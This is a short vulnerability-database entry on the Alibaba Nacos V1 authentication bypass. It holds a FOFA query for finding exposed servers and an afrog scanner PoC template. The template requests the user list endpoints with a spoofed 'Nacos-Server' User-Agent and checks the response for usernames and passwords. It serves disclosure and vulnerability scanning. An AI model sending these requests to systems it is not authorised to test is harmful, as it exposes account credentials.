nacos-user-list-unauthorized: Alibaba Nacos V1 Auth Bypass

日期: 2025-09-01 | 影响软件: Alibaba Nacos V1 | POC: 已公开

漏洞描述

fofa app="NACOS"

PoC代码[已公开]

id: nacos-user-list-unauthorized

info:
    name: Alibaba Nacos V1 Auth Bypass
    author: kmahyyg(https://github.com/kmahyyg)
    severity: high
    verified: true
    description: fofa app="NACOS"

rules:
    r0:
        request:
            method: GET
            path: /nacos/v1/auth/users?pageNo=1&pageSize=9
            headers:
                User-Agent: Nacos-Server
        expression: response.status == 200 && response.headers["content-type"].contains("application/json") && response.body.bcontains(b'"username":') && response.body.bcontains(b'"password":')
    r1:
        request:
            method: GET
            path: /v1/auth/users?pageNo=1&pageSize=9
            headers:
                User-Agent: Nacos-Server
        expression: response.status == 200 && response.headers["content-type"].contains("application/json") && response.body.bcontains(b'"username":') && response.body.bcontains(b'"password":')
expression: r0() || r1()
来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/unauthorized/nacos-user-list-unauthorized.yaml

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